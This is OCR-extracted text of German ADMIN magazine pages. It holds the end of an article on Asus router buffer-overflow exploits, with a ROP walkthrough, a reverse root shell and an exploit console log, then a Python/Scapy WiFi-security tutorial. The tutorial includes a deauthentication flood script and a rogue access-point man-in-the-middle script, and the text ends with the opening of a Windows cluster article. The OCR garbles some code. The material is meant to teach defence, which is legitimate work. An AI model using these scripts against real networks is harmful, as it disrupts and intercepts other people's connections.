einer Kette überschrieben wird. Diese 

Technik erlaubt es dem Angreifer, CPU- 

Register und verschiedene Speicherzellen 

im Memory zu ändern, noch bevor 

Shellcode ausgeführt wird, der ebenfalls 

im Speicher abgelegt wurde. 

Abbildung 5: Der böswillige Shellcode, den die Beispielattacke 

ausführt. 

Proof-of-Concept-Angriff 

Für das Verständnis des Beispiels aus 

Listing 1 ist die Kenntnis einiger Maschineninstruktionen 

nützlich: 

n LUI – Load upper immediate: Der 

konstante Wert wird 16 Bit nach 

links verschoben und in einem Register 

gespeichert. Die unteren 16 Bit 

sind Nullen. 

n ORI – Bitwise OR immediate: Bitweises 

Oder eines Registers mit einer 

Konstanten. Das Resultat wird in 

einem Register abgelegt. 

n SW – Store word: Speichert den Inhalt 

des angegebenen Registers an 

der angegebenen Adresse. 

n ADDI – Add immediate: Addiert den 

Registerinhalt mit einer vorzeichenbehafteten 

Konstanten und speichert 

das Resultat in einem Register. 

n JALR – Jump and link: Springt zur 

berechneten Adresse. 

Im Fall des Asus RT-AC66U ermöglichte 

die mangelhafte Überprüfung von 

Grenzen im Code und die Unmöglichkeit, 

Netzwerk-Services abzuschalten, 

den im folgenden skizzierten Angriff, 

der es erlaubt, beliebigen Code mit den 

Rechten des Eigentümers der Applikation 

auszuführen, was normalerweise 

Root ist. 

Der Asus RT-AC66U führt mit oder 

ohne angesteckten USB-Speicher einen 

ACSD-Service an Port TCP/5916 

aus. Dieser Service läuft per Default. 

Er lässt sich nicht deaktivieren. Der 

ACSD-Service ist durch einen Buffer- 

Overflow während der Abarbeitung der 

Kommandoroutine angreifbar (CVE- 

2013-4659). Der Angreifer verbindet 

sich dazu mit dem ACSD-Service und 

übergibt ihm einen Kommandostring, 

der länger ist als die fest eingestellte 

Puffergröße. Damit wird der Call Stack 

und angrenzender Speicher überschrieben. 

Im Ergebnis kann vom Angreifer 

kontrollierter Code ausgeführt werden. 

Die Attacke benutzt Return Oriented 

Programming (ROP), um die Randomisierung 

des Stacks zu umgehen 

und Cache-Inkohärenz zu vermeiden 

(Listing 1). Um einen kohärenten CPU- 

Daten-Cache zu erhalten, nutzt der 

Payload den Aufruf der Blocking Function 

»sleep()«. Das geschieht, indem 

zunächst im ersten Gadget der Wert 1 

in das A0-Register geladen wird. Das 

Gadget 2 lädt dann die Adresse der 

Sleep-Funktion in das $T9-Register 

und schließt danach mit einem Sprung 

zu $T9 ab. Das wiederum bewirkt auf 

dem Zielsystem einen Context Switch 

und solche Context Switches flushen 

schließlich den Data Cache in das 

RAM. Als nächstes stellt Gadget 3 das 

Stackpointer-Register »sp« so ein, dass 

es nach Addition einer Konstanten auf 

den böswilligen Shellcode verweist. 

Schließlich kommt noch das Gadget 4 

an die Reihe, dass den Programmablauf 

an die im Register $T9 gespeicherte 

Stelle verzweigen lässt, an der sich der 

böswillige Shellcode befindet. Dieser 

startet sodann mithilfe der Systemfunktion 

»system()« aus der Standard- 

C-Bibliothek einen nicht autorisierten 

Telnet-Server (Abbildung 5). 

In der gleichen Weise wie beim RT- 

AC66U konnten wir auch beim Asus RT- 

N56U beliebigen Code mit Root-Rechten 

ausführen. Hier war der Angriffspunkt 

ein immer laufender und nicht 

abschaltbarer HTTP-Server, der für 

mehrere Buffer-Overflows (CVE-2013- 

6343) während des Konfigurationsprozesses 

anfällig ist. Auch hier kann 

der Call Stack mit einer über langen 

Kommandoeingabe überschrieben 

werden. Wieder wurden mehrere ROP- 

Gadgets verwendet, um den Stack einzurichten 

und die Kommandoausführung 

auf gefährlichen Shellcode 

im Memory umzulenken. Im Zuge des 

Angriffs öffnet der angegriffene Router 

einen Netzwerk-Socket, verbindet sich 

mit Port TCP/31337 auf einer Maschine 

des Angreifers und führt dort eine Root- 

Shell aus. Anschließend kann der Angreifer 

direkt mit dem darunterliegenden 

Linux-System operieren (Listing 2). 


Admin 

Ausgabe 02-2014

44 


SOHO-Router 

n Info 





[1] Die untersuchten Router: [http:// www. 

securityevaluators. com/ knowledge/ case_ 

studies/ routers/] 

Beständige 

Verwundbarkeiten 

Die in diesem Artikel beschriebenen 

Verwundbarkeiten und andere, die 

im Zuge der Studie gefunden wurden, 

können vom Anwender nicht abgestellt 

werden. So lassen sich die ACSD- und 

HTTP-Services nicht abschalten. In 

anderen Fällen können Angriffe auf 

erforderliche Dienste dazu benutzt 

werden, um Dienste wieder einzuschalten, 

die der Anwender außer Betrieb 

genommen hatte. Damit ergibt sich 

eine unvermeidliche Unsicherheit dieser 

Devices. So bleiben sie ein ewiges 

Angriffsziel – zumindest so lange, bis 

der Hersteller eventuell einen Patch 

veröffentlicht. 

Zur Beständigkeit der Schwachstellen 

kommt noch hinzu, dass alle untersuchten 

Router sehr benutzerunfreundliche 

Update-Prozesse bieten. Keiner 

der Router updatete sich automatisch, 

die meisten sendeten eine Nachricht an 

den Administrator, wenn Updates verfügbar 

waren, erforderten dann aber in 

einem mehrstufigen Prozess das nicht 

immer intuitive Flashen der Firmware. 

Für einen durchschnittlichen Anwender 

ist das Verfahren schwer verständlich, 

weswegen die Verwundbarkeiten in 

vielen Fällen auch dann bestehen bleiben, 

wenn der Hersteller einen Patch 

veröffentlicht. 

Schließlich kann man im Falle eines 

kompromittierten Routers nichts weiter 

tun, als das Gerät außer Betrieb 

zu nehmen. Alles, was der Käufer unternehmen 

kann, reicht nicht, um ein 

erfolgreiches Firmware-Update zu garantieren. 

Hat der Angreifer erst einmal 

volle Kontrolle über den Router, kann 

er auch ein Update vereiteln. 

Was kann man tun? 

Leider können Konsumenten nur sehr 

wenig tun, um die Risiken zu minimieren. 

Zuallererst sollte man nicht benötigte 

Services abschalten, Verschlüsselung 

benutzen und starke Passwörter 

verwenden. 

Mehr können Entwickler tun, um Buffer-Overflow-Attacken 

abzuwehren: Sie 

sollten unsichere Funktionen meiden 

(»strcpy«, »sprintf«, »memcpy«, »gets«) 

und Längenbegrenzungen prüfen, bevor 

sie Benutzereingaben übernehmen. 

Zusätzlich sollten sie Schutzmaßnahmen 

beim Kompilieren und Linken 

verwenden (ASLR, DEP, Canary/Stack 

Cookies, Windows safeSEH). 

Vor allem aber sollten Käufer Sicherheitsvorkehrungen 

aktiv von den 

Herstellern einfordern. Wenn sie mehr 

Sicherheit verlangen, wird sich das Verhalten 

der Hersteller ändern. (jcb) n 

n Listing 2: Angriff auf Asus RT-N56U 

01 Gimppy@Hak42:~/ISE/SOHO/Asus/RT_N56U$ python RT_N56U_web_ 

sploit.py 

02 

03 [*] Title: ASUS RT‐N56U Remote Roort Shell Exploit ‐ apps name 

04 [*] Discovered and Reported: October 2013 

05 [*] Discovered/Exploited By; Jacob Holcomb/Gimppy ‐ Security 

Analyst @ ISE 

06 [*] Contact: Twitter ‐ @rootHak42 

07 [*] Software Vendor: http://asus.com 

08 [*] Exploit/Advisory: http://securityevaluators.com, http:// 

infosec42.blogspot.com 

09 [*] Softweare: httpd (Listens on TCP/80 and TCP/443) 

10 [*] Tested Firmware Versions: 3.0.0.4.374 979 (Other versions may 

be vulnerable) 

11 [*] CVE: ASUS RT‐N56U Buffer Overflow: CVE‐2013‐6343 

12 

13 [*] Please enter trhe URL of the router 

14 >http://192.168.1.1 

15 

16 [*] Creating network socket 

17 [*] Preparing to fingerprint server 

18 [*] Connecting to 192.168.1.1 on port 80 

19 [*] Sending fingerprint request 

20 [*] Closing network socket 

21 

22 [!!!] Target system found in signature list ‐ Result: RT‐N56U 

[!!!] 

23 [*] Would you like to use HTTP Basic Authentication? "yes" or "no" 

24 >yes 

25 

26 [!!!] You chose to use HTTP BAsich Authentication [!!!] 

27 

28 [*] Please enter the user name for the routers HTTP Basic 

AUthentication: 

29 >admin 

30 

31 [*] Please enter the password for the supplied user name: 

32 >ISE 

33 

34 [*] Preparing mailcious web request 

35 [*] Sucessfully built HTTP Post request 

36 [*] Preparing to send Evil PAYloAd to 192.168.1.1 on port 80 

37 [*] Payload Length: 256 

38 [*] Waiting ... 

39 [*] Server Response: HTTP 200 OK. Get read

46 


WiFi-Security 

Joachim Wendler , 123RF 

WLAN-Sicherheit mit Python-Skripten erforschen 

Lauschangriff 

WiFi ist heute allgegenwärtig. Es steckt nicht nur im heimischen WLAN-Router oder in so gut wie jedem 

Smartphone, auch in Werbetafeln und Überwachungskameras, in der Abfahrtszeitenanzeige an Haltestellen 

und sogar in Medizintechnik. Wenige Zeilen Python reichen, um der Sicherheit dieser Anwendungen 

auf den Zahn zu fühlen. Bastian Ballmann 

WLAN-Netze (802.11) funken abhängig 

vom Standard auf den Frequenzen 2,4, 

3,6 oder 5 GHz. Am weitesten verbreitet 

sind 2,4-GHz-Netze. Dieses Frequenzband 

ist dabei je nach Region weiter 

in Channel unterteilt. Das WLAN-Netz 

lässt sich entweder im Ad-hoc- oder im 

Infrastruktur-Modus betreiben. Ad-hoc 

bedeutet, dass zwei oder mehr Stationen 

direkt miteinander kommunizieren 

wollen. Beim Infrastruktur-Modus dient 

dagegen ein sogenannter Accesspoint 

als Vermittler. Damit ergibt sich hier 

eine sternförmige Topologie, in der 

der Accesspoint ähnlich wie ein Switch 

im Ethernet-Netzwerk agiert. Dieser 

Infrastruktur-Modus ist für WLAN-Netze 

der Normalfall. 

Ein paar Grundlagen 

Ein Client hat verschiedene Möglichkeiten, 

um sich über verfügbare Netze 

zu informieren. Eine Informationsquelle 

sind die Beacon-Frames, die der 

Accesspoint alle paar Millisekunden 

sendet. Jeder dieser Frames enthält 

Informationen wie die SSID (also den 

Netzwerknamen), die unterstützten 

Übertragungsraten und optional noch 

weitere Daten wie den verwendeten 

Channel und eingesetzte Sicherheitsmechanismen. 

Der Client kann aber auch selbst 

aktiv werden und sogenannte Probe- 

Requests verschicken. Dabei fragt er 

entweder explizit nach Netzen, mit 

denen er schon mal verbunden war, 

oder er verwendet ein Nullbyte als 

SSID (Broadcast-SSID). Der Accesspoint 

antwortet darauf mit einem Probe- 

Response-Paket. 

Das Protokoll 802.11 unterscheidet drei 

verschiedene Arten von Paketen oder 

Abbildung 1: Der Header eines IEEE- 

802.11-Frames. 



WiFi-Security 

47 

kunden selbst keinerlei Pakete senden 

werden, um Kollisionen zu vermeiden. 

Die Destination-Address beinhaltet 

die MAC-Adresse der Station, die das 

Paket letztendlich erhalten soll. In der 

Source-Address steht die Adresse, die 

das Paket gesendet hat, und die Receiving-Station-Address 

entspricht der Adresse 

des Accesspoints oder der Bridge, 

die das Paket weiterleiten soll. 

Anschließend folgt der Sequence- 

Control-Header, der aus einer Fragment- 

und einer Sequence-Nummer 

besteht. Jedes Datenpaket in einem 

802.11-Netzwerk erhält eine eindeutige 

Sequence-Nummer. Diese Nummer 

wird nicht wie bei TCP per Byte erhöht, 

sondern nur per Datenpaket um eins 

hochgezählt. Pakete, die zu groß sind 

und deswegen in kleinere Fragmente 

zerlegt werden, erhalten eine eindeutige 

Fragment-Nummer beginnend bei 

null. Anders als bei TCP dient die Sequence-Nummer 

nicht zum Bestätigen 

der Pakete, sondern nur zum Filtern 

von Duplikaten. 

802.11 sendet Pakete im Ping-Pong- 

Verfahren. Jedes gesendete Paket 

n Listing 1: Mode-Wechsel 

n Tabelle 1: Management-Frame-Subtypes 

Nr. Name 

0 Association Request 

1 Association Response 

2 Reassociation Request 

3 Reassociation Response 

4 Probe Request 

5 Probe Response 

8 Beacon 

9 Announcement Traffic Indication Message 

10 Disassociation 

11 Authentication 

12 Deauthentication 

13 Action 

Frames, nämlich die Typen Management, 

Data und Control. Abbildung 1 

zeigt den schematischen Aufbau eines 

solchen Frames. Der Typ Management 

beinhaltet Pakete wie Beacons, Probe- 

Requests und Responses sowie (De-) 

Authentication und (De-)Assocciation. 

Der Typ Data enthält die eigentlichen 

Daten. Control-Pakete dienen dazu, die 

Reservierung des Mediums zu steuern 

sowie den Erhalt der Daten-Pakete zu 

bestätigen. 

Der Frame-Control-Header eines Pakets 

definiert mithilfe von Typ und Subtyp, 

um was für ein Paket es sich handelt. 

Management-Frames haben den Typ 

0, Control-Frames den Typ 1 und Data- 

Frames den Typ 2. Die Bedeutung der 

jeweiligen Management-Frame-Subtypen 

zeigt die Tabelle 1. Sie können 

als Filter in Wireshark sehr nützlich 

sein: Zum Beispiel unterdrückt man 

mit »wlan.fc.subtype!=8« alle Beacon- 

Frames. 

Der Duration-Header wird vorwiegend 

dazu verwendet, anzuzeigen, 

wie viele Mikrosekunden das Medium 

nach diesem Paket noch belegt ist. Die 

Control-Frames Request-to-Send (RTS) 

und Clear-to-Send (CTS) dienen dazu, 

das Medium zu reservieren. Eine Station, 

die viele Daten senden will, kann 

vorher ein RTS-Paket mit gesetztem 

Duration-Header senden. Andere Stationen 

werden bei Erhalt eines solchen 

Pakets mit einem CTS-Paket antworten 

und damit anzeigen, dass sie während 

der Dauer von soundso vielen Mikrosebraucht 

erst eine Bestätigung, bevor 

das nächste Paket gesendet werden 

kann. Das gilt auch für einzelne Fragmente. 

Nicht bestätigte Pakete werden 

nach einer kurzen Wartezeit wieder 

gesendet (mit um eins erhöhtem 

Retry-Bit, das ebenfalls Bestandteil des 

Frame-Control-Headers ist). 

Ein kleiner Sniffer 

Einen ersten Eindruck, welche Informationen 

Pakete enthalten, die keine Be- 

01 root@hercules:/home/jcb# ifconfig wlan0 down 

02 root@hercules:/home/jcb# iwconfig wlan0 mode monitor 

03 root@hercules:/home/jcb# ifconfig wlan0 up 

04 root@hercules:/home/jcb# iwconfig wlan0 

05 wlan0 IEEE 802.11bgn Mode:Monitor Frequency:2.467 GHz Tx‐Power=20 dBm 

06 Retry long limit:7 RTS thr=2347 B Fragment thr:off 

07 Power Management:off 

n Listing 2: WLAN-Sniffer 

01 #!/usr/bin/python 

02 

03 import os 

04 from scapy.all import * 

05 

06 iface = "wlan0" 

07 

08 os.system("/sbin/iwconfig " + iface + " mode monitor") 

09 

10 # Dump packets that are not beacons, probe request / responses 

11 def dump_packet(pkt): 

12 if not pkt.haslayer(Dot11Beacon) and \ 

13 not pkt.haslayer(Dot11ProbeReq) and \ 

14 not pkt.haslayer(Dot11ProbeResp): 

15 print pkt.summary() 

16 

17 if pkt.haslayer(Raw): 

18 print hexdump(pkt.load) 

19 print "\n" 

20 

21 while True: 

22 for channel in range(1, 14): 

23 os.system("/sbin/iwconfig " + iface + " channel " + 

str(channel)) 

24 print "Sniffing on channel " + str(channel) 

25 

26 sniff(iface=iface, 

27 prn=dump_packet, 

28 count=10, 

29 timeout=3, 

30 store=0) 


Admin 

Ausgabe 02-2014

48 


WiFi-Security 

Abbildung 2: Beispielhafte Ausgabe des kleinen Sniffer-Programms. 

acon-Frames oder Probe-Response-Pakete 

sind, vermittelt der WLAN-Sniffer 

aus Listing 2. Er benötigt die Bibliothek 

Scapy, die sich mit 

pip install scapy 

installieren lässt. Der Sniffer lauscht 

der Reihe nach auf allen 14 Kanälen, 

die bei der 2.4-GHz-Frequenz verfügbar 

sind, und sammelt maximal drei Sekunden 

lang Pakete. Damit die WLAN-Karte 

n Listing 3: Probe-Frames 


02 


04 


06 

07 # Print ssid of probe requests, probe 

response 

08 # or association request 

09 def handle_packet(packet): 

10 if packet.haslayer(Dot11ProbeReq) or \ 

n Listing 4: Deauth-Pakete 


02 

03 import time 


05 

06 iface = "mon0" 

07 timeout = 1 

08 

09 if len(sys.argv) < 2: 

10 print sys.argv[0] + " [client]" 

11 sys.exit(0) 

12 else: 

13 bssid = sys.argv[1] 

14 

15 if len(sys.argv) == 3: 

auch Pakete beachtet, 

die nicht an sie adressiert 

sind, muss sie 

zuvor mit 

ifwconfig wlan0 mode U 

monitor 

in einen Zustand geschaltet 

werden, der 

mit dem Promiscuous 

Mode bei kabelgebundenen 

Ethernet- 

Interfaces vergleichbar 

ist. Dabei mag es übrigens vorkommen, 

dass die Karte keinen Wechsel in den 

Monitor-Modus zulässt, solange sie benutzt 

wird. Die Quittung lautet dann: 

SET failed on device wlan0 ; U 

Device or resource busy. 

Unter Linux schafft dann eine Prozedur 

Abhilfe, wie sie Listing 1 zeigt. 

Falls vor Erreichen des Timeouts schon 

zehn Pakete aufgezeichnet wurden, 

11 packet.haslayer(Dot11ProbeResp) or \ 

12 packet.haslayer(Dot11AssoReq): 

13 print "Found SSID " + packet.info 

14 

15 # Set device into monitor mode 

16 os.system("iwconfig " + iface + " mode 

monitor") 

17 

18 # Start sniffing 

19 print "Sniffing on interface " + iface 

20 sniff(iface=iface, prn=handle_packet) 

16 dest = sys.argv[2] 

17 else: 

18 dest = "ff:ff:ff:ff:ff:ff" 

19 

20 pkt = RadioTap() / \ 

21 Dot11(subtype=0xc, 

22 addr1=dest, addr2=bssid, addr3=bssid) 

/ \ 

23 Dot11Deauth(reason=3) 

24 

25 while True: 

26 print "Sending deauth to " + dest 

27 sendp(pkt, iface=iface) 

28 time.sleep(timeout) 

springt das Programm einen Channel 

weiter. Für jedes eingelesene Paket ruft 

der Sniffer die Funktion »dump_packet()« 

auf. Handelt es sich bei dem 

eingelesenen Paket nicht um einen 

Beacon-Frame, ein Probe-Requestoder 

Probe-Response-Paket, werden 

die Source- und Destination-Adressen 

sowie die enthaltenen Layer des Pakets 

ausgegeben. Eventuell enthaltene weitere 

Daten zeigt der Sniffer in Hex und 

ASCII an (Abbildung 2). 

Sicher weil unsichtbar? 

Manche Admins glauben, es sei bereits 

ein erster Schutz, die SSID des eigenen 

WLANs zu verstecken. Wer meint, 

das Feature „Hidden SSID“ verberge 

das eigene Netz vor einem möglichen 

Wardriver, ist allerdings auf dem Holzweg. 

Es bewirkt nämlich lediglich, dass 

der Accesspoint die SSID nicht mehr in 

den Beacon-Frames erwähnt. Aber in 

Probe-Request-, Probe-Response- und 

Association-Request-Paketen ist die 

SSID weiterhin enthalten. Kann der 

Angreifer einen kurzzeitigen Disconnect 

bewirken, wird sich der Client anschließend 

sofort wieder zu verbinden versuchen 

und dazu mindestens eins der 

eben erwähnten Pakete verwenden. 

Davon kann man sich mit dem kleinen 

Skript aus Listing 3 überzeugen, das 

die fraglichen Pakete herausfiltert und 

anzeigt. 

Ganz Ähnliches gilt übrigens für das 

Feature vieler Router, nur Verbindungen 

zu bekannten MAC-Adressen 

zuzulassen. Sobald sich ein Client mit 

dem Netz verbunden hat, kann man 

dessen MAC-Adresse erkennen und 

fortan leicht als eigene verwenden. Unsichtbare 

SSIDs und die Beschränkung 

auf bestimmte MAC-Adressen schützen 

also nur solange, wie überhaupt keine 

Netzwerkverbindung besteht. 

WLAN-Packet-Injection 

Die eben erwähnte kurze Unterbrechung 

einer WLAN-Verbindung lässt 

sich relativ leicht bewerkstelligen, 

wenn man selbst 802.11-Pakete aussenden 

kann. Dazu wiederum bedarf es 

eines Treibers, der diese Fähigkeit hat, 

und eines dazu passenden Chipsatzes. 

Atheros ist mit Abstand der beliebteste 



WiFi-Security 

49 

n Listing 5: Man-in-the-Middle 


002 

003 import os 

004 import sys 

005 import time 

006 import getopt 


008 


010 ssid_filter = [] 

011 client_addr = None 

012 mymac = "aa:bb:cc:aa:bb:cc" 

013 

014 

015 # Extract Rates and ESRates from ELT 

header 

016 def get_rates(packet): 

017 rates = "\x82\x84\x0b\x16" 

018 esrates = "\x0c\x12\x18" 

019 

020 while Dot11Elt in packet: 

021 packet = packet[Dot11Elt] 

022 

023 if packet.ID == 1: 

024 rates = packet.info 

025 elif packet.ID == 50: 

026 esrates = packet.info 

027 

028 packet = packet.payload 

029 

030 return [rates, esrates] 

031 

032 

033 def send_probe_response(packet): 

034 ssid = packet.info 

035 rates = get_rates(packet) 

036 channel = "\x07" 

037 

038 if ssid_filter and ssid not in ssid_ 

filter: 

039 return 

040 

041 print "\n\nSending probe response for 

" + ssid + \ 

042 " to " + str(packet[Dot11]. 

addr2) + "\n" 

043 

044 # addr1 = destination, addr2 = source, 

045 # addr3 = access point 

046 # dsset sets channel 

047 

048 cap="ESS+privacy+short‐preamble+shor 

t‐slot" 

049 

050 resp = RadioTap() / \ 

051 Dort11(addr1=packet[Dot11].addr2, 

052 addr2=mymac, addr3=mymac) / \ 

053 Dot11ProbeResp(timestamp=time. 

time(), 

054 cap=cap) / \ 

055 Dot11Elt(ID='SSID', info=ssid) / \ 

056 Dot11Elt(ID="Rates", info=rates[0]) 

/ \ 

057 Dot11Elt(ID="DSset",info=channel 

) / \ 

058 Dot11Elt(ID="ESRates", 

info=rates[1]) 

059 

060 sendp(resp, iface=iface) 

061 

062 def send_auth_response(packet): 

063 # Dont answer our own auth packets 

064 if packet[Dot11].addr2 != mymac: 

065 print "Sending authentication to " 

+ packet[Dot11].addr2 

066 

067 res = RadioTap() / \ 

068 Dot11(addr1=packet[Dot11].addr2, 


070 Dot11Auth(algo=0, seqnum=2, 

status=0) 

071 

072 sendp(res, iface=iface) 

073 

074 def send_association_response(packet): 

075 if ssid_filter and ssid not in ssid_ 

filter: 

076 return 

077 

078 ssid = packet.info 

079 rates = get_rates(packet) 

080 print "Sending Association response 

for " + ssid + \ 

081 " to " + packet[Dot11].addr2 

082 

083 res = RadioTap() / \ 

084 Dot11(addr1=packet[Dot11].addr2, 


086 Dot11AssoResp(AID=2) / \ 

087 Dot11Elt(ID="Rates", info=rates[0]) 

/ \ 

088 Dot11Elt(ID="ESRates", 

info=rates[1]) 

089 

090 sendp(res, iface=iface) 

091 

092 # This function is called for every 

captured packet 

093 def handle_packet(packet): 

094 sys.stdout.write(".") 

095 sys.stdout.flush() 

096 

097 if client_addr and packet.addr2 != 

client_addr: 

098 return 

099 

100 # Got probe request? 

101 if packet.haslayer(Dot11ProbeReq): 

102 send_probe_response(packet) 

103 

104 # Got authenticaton request 

105 elif packet.haslayer(Dot11Auth): 

106 send_auth_response(packet) 

107 

108 # Got association request 

109 elif packet.haslayer(Dot11AssoReq): 

110 send_association_response(packet) 

111 

112 def usage(): 

113 print sys.argv[0] 

114 print """ 

115 ‐a (optional) 

116 ‐i (optional) 

117 ‐m (optional) 

118 ‐s (optional) 

119 """ 

120 sys.exit(1) 

121 

122 # Parsing parameter 

123 if len(sys.argv) == 2 and sys.argv[1] == 

"‐‐help": 

124 usage() 

125 

126 try: 

127 cmd_opts = "a:i:m:s:" 

128 opts, args = getopt.getopt(sys. 

argv[1:], cmd_opts) 

129 except getopt.GetoptError: 

130 usage() 

131 

132 for opt in opts: 

133 if opt[0] == "‐a": 

134 client_addr = opt[1] 

135 elif opt[0] == "‐i": 

136 iface = opt[1] 

137 elif opt[0] == "‐m": 

138 my_mac = opt[1] 

139 elif opt[0] == "‐s": 

140 ssid_filter = opt[1].split(",") 

141 else: 

142 usage() 

143 

144 os.system("iwconfig " + iface + " mode 

monitor") 

145 

146 # Start sniffing 

147 print "Sniffing on interface " + iface 

148 sniff(iface=iface, prn=handle_packet) 


Admin 

Ausgabe 02-2014

50 


WiFi-Security 

n Info 

n Autor 

Chipsatz, aber andere sind auch verwendbar. 

Je nach Chipsatz kommen 

andere Treiber zum Einsatz wie zum 

Beispiel Hostap, Madwifi, Ath5k und 

Ath9k. 

Den Chipsatz der eigenen WLAN- 

Karte oder des WLAN-Sticks findet 

man am einfachsten mit dem Befehl 

»lspci« oder »lsusb« heraus. Alternativ 

kann man auch in den Ausgaben von 

»dmesg« fündig werden. Eine Anleitung 

dafür und zur Überprüfung der Kompatibilität 

findet sich beispielsweise unter 

[1], auch die Madwifi-Kompatibilitätsliste 

hilft weiter [2]. Mithilfe des Tools 

»airmon_ng« lässt sich abschließend 

testen, ob alles funktioniert: 

; 

airmon‐ng start wlan0 

aireplay‐ng ‐‐test mon0 

Das Ergebnis sollte ungefähr so aussehen: 

16:37:00 Trying broadcast probe 

requests... 

16:37:00 Injection is working! 

Hatte man von vornherein einen passenden 

Treiber und Chipsatz oder 

konnte man zumindest den eigenen 





[1] WLAN-Treiber-Patches: [http:// www. 

aircrack‐ng. org/ doku. php? id=compatibility_ 

drivers& DokuWiki=a990734b0e16b5d9b200c 

cc4e59d821b] 

[2] Madwifi-Kompatibilitätsliste: [http:// 

madwifi‐project. org/ wiki/ Compatibility] 

Bastian Ballmann arbeitet als System 

Engineer bei der Informatik-Support- 

Gruppe des Departments für Informatik 

der ETH Zürich. Er ist Autor des Buches 

"Network Hacks - Intensivkurs: Angriff 

und Verteidigung mit Python". 

Treiber erfolgreich patchen, kann es 

losgehen. Um wie angekündigt zu 

bewirken, dass die Verbindung eines 

Clients mit einem WLAN unterbrochen 

wird, dessen SSID der Admin auf der 

Kommandozeile übergeben kann, sendet 

das Skript aus Listing 4 ein Deauth- 

Paket. Als Grund für den Verbindungsabbruch 

wird der Code »3« angegeben, 

was bedeutet, dass sich der Accesspoint 

angeblich ausschalten will. 

Das konstruierte Paket wird in einer 

Endlosschleife verschickt, wobei zwischen 

dem Versenden der Pakete im 

Beispiel immer ein Timeout von einer 

Sekunde abgewartet wird. Derartige 

Deauth-Angriffe erkennt man am 

einfachsten mit einem Sniffer wie Wireshark 

und dem Filter 

wlan.fc.subtype == 0x0c 

Dem Autor ist als einzige Schutzmaßnahme 

ein kompletter Umstieg auf 

802.11w bekannt. 

Man-in-the-Middle 

Das nächste Skript soll auf Probe- 

Request-Pakete warten und mit einem 

gefälschten Probe-Response-Paket 

antworten, genauso als wäre es ein Accesspoint 

für dieses Netz. Anschließend 

wird der gesamte Anmelde-Prozess 

simuliert. Dadurch lenkt man Clients 

für beliebige Netze auf den eigenen 

Rechner um. Der Einfachheit halber 

verzichtet dieser Beitrag darauf, auch 

die nachfolgenden Data-Frames zu 

fälschen und er implementiert auch 

keinen DHCP-Server oder ähnliche 

Dienste. 

Sollte die Attacke beim ersten Versuch 

nicht gelingen, kann das daran liegen, 

dass der Angreifer entweder zu weit 

vom Client entfernt ist oder der Traffic 

in der Umgebung zu hoch ist, sodass 

Scapy zu langsam antwortet. Letzteres 

lässt sich dadurch abmildern, dass das 

Programm mit dem Parameter »‐s« gestartet 

wird, um es auf eine oder mehrere 

SSIDs zu beschränken. Zusätzlich 

kann man es mit dem Parameter »‐a« 

auf einen Client festlegen. 

In Listing 5 wird die Karte zuerst wieder 

in den Monitor-Modus geschaltet und 

der Netzwerkverkehr eingelesen. Dabei 

ruft das Skript für jedes Paket die 

Funktion »handle_packet()« auf und 

untersucht, um welche Art Paket es sich 

handelt. War es ein Probe-Request, 

sendet das Skript mithilfe der Funktion 

»send_probe_response« ein Probe- 

Response-Paket zurück. 

Via Dot11Elt-Header werden Eigenschaften 

wie die SSID, die zur Verfügung 

stehenden Übertragungsraten 

(»Rates«), der Channel (»DSset«) und 

die erweiterten Übertragungsraten 

(»ESRates«) gesetzt. Die Übertragungsraten 

ermittelt das Skript vorher 

aus dem Probe-Request-Paket in der 

Funktion »get_rates()« . Findet es keine, 

gibt die Funktion zwei Standardwerte 

zurück, die für die Raten 1, 2, 5.5 und 11 

MBit stehen. Weitere Elt-Header oder 

andere Übertragungsraten können am 

einfachsten mit Wireshark aus realem 

WLAN-Verkehr mitgelesen werden. 

Hat die Funktion »handle_packet()« ein 

Authentication-Paket erhalten, kommt 

die Funktion »send_auth_response« 

zum Zug, die als Erstes überprüft, ob 

das Paket vom agierenden Skript selbst 

stammt. Die Authentication-Phase 

kennt nämlich keine unterschiedlichen 

Request- und Response-Pakete; sie 

unterscheiden sich nur in der Sequenznummer. 

Eins bedeutet Request, zwei 

steht für Response. 

Bei einem eingelesenen Association- 

Request-Paket wird dagegen die Funktion 

»send_association_response()« 

bemüht. Sie erzeugt ein Association- 

Response-Paket und setzt die Übertragungsraten 

im Elt-Header. 

Fazit 

Schon dieser kleine Exkurs in die WiFi- 

Welt zeigt, dass es eine ganze Reihe 

Angriffspunkte auf WiFi-Verbindungen 

gibt, die ohne allzu großen Aufwand 

ausnutzbar sind. Eine Verbesserung 

brachte die 2009 verabschiedete Standarderweiterung 

802.11w, die Protected 

Management Frames definiert und 

außerdem WPA2 mit AES voraussetzt. 

Angriffe wie die oben vorgestellte 

Deauth-Attacke sind damit nicht mehr 

möglich. Allerdings müssen sowohl 

Accesspoint wie Client diesen Standard 

unterstützen. Bis jetzt hat er sich nicht 

breit durchgesetzt. (jcb) n 


Jakub Gojda, 123RF 

Cluster mit Windows Server 2012 R2 

Zusammen stark 

Mit Windows lassen sich hochverfügbare Cluster auf Knopfdruck erstellen – ob virtuell oder real. Auf 

Wunsch übernimmt der Cluster sogar die vollautomatische, unterbrechungsfreie Aktualisierung von 

Betriebssystem und Server-Software. Thomas Joos 

Der Windows Server 2012 R2 bietet 

bereits in der Standard-Edition die 

Möglichkeit, einen Cluster aufzubauen. 

Das geht zwar auch bereits mit Windows 

Server 2012, aber nicht mit den 

Vorgängerversionen. Neu in Windows 

Server 2012 R2 ist die Option, einen 

Cluster auch auf Basis von virtuellen 

Servern aufzubauen und als gemeinsame 

Datenträger virtuelle Festplatten 

zu definieren. Diese neue Möglichkeit 

basiert auf den Neuerungen von VHDX- 

Festplatten in Windows Server 2012 R2, 

die kürzlich bereits Thema im ADMIN 

waren [1]. 

Wir zeigen, wie Sie einen Cluster mit 

Windows Server 2012 R2 aufbauen und 

einrichten. Der Ablauf ist bei virtuellen 

Servern und physischen Maschinen 

weitgehend gleich. Der Unterschied 

besteht nur in der Konfiguration von 

virtuellen Festplatten als Shared-VHDX- 

Dateien. Sie können natürlich weiterhin 

für Cluster andere gemeinsame Datenträger 

einsetzen, auch wenn Sie einen 

virtuellen Cluster betreiben. 

Darüber hinaus gibt es seit Windows 

Server 2012 auch die Möglichkeit, auf 

einem Server VHD-Festplatten als 

gemeinsamen Cluster-Speicher auf 

iSCSI-Basis zu definieren. Ab Windows 

Server 2012 R2 funktioniert dies auch 

mit VHDX-Festplatten. Ein Vorteil von 

iSCSI-Zielen als gemeinsamer Datenträger 

ist, dass sich auch physische 

Cluster anbinden lassen, während 

die gemeinsamen VHDX-Festplatten 

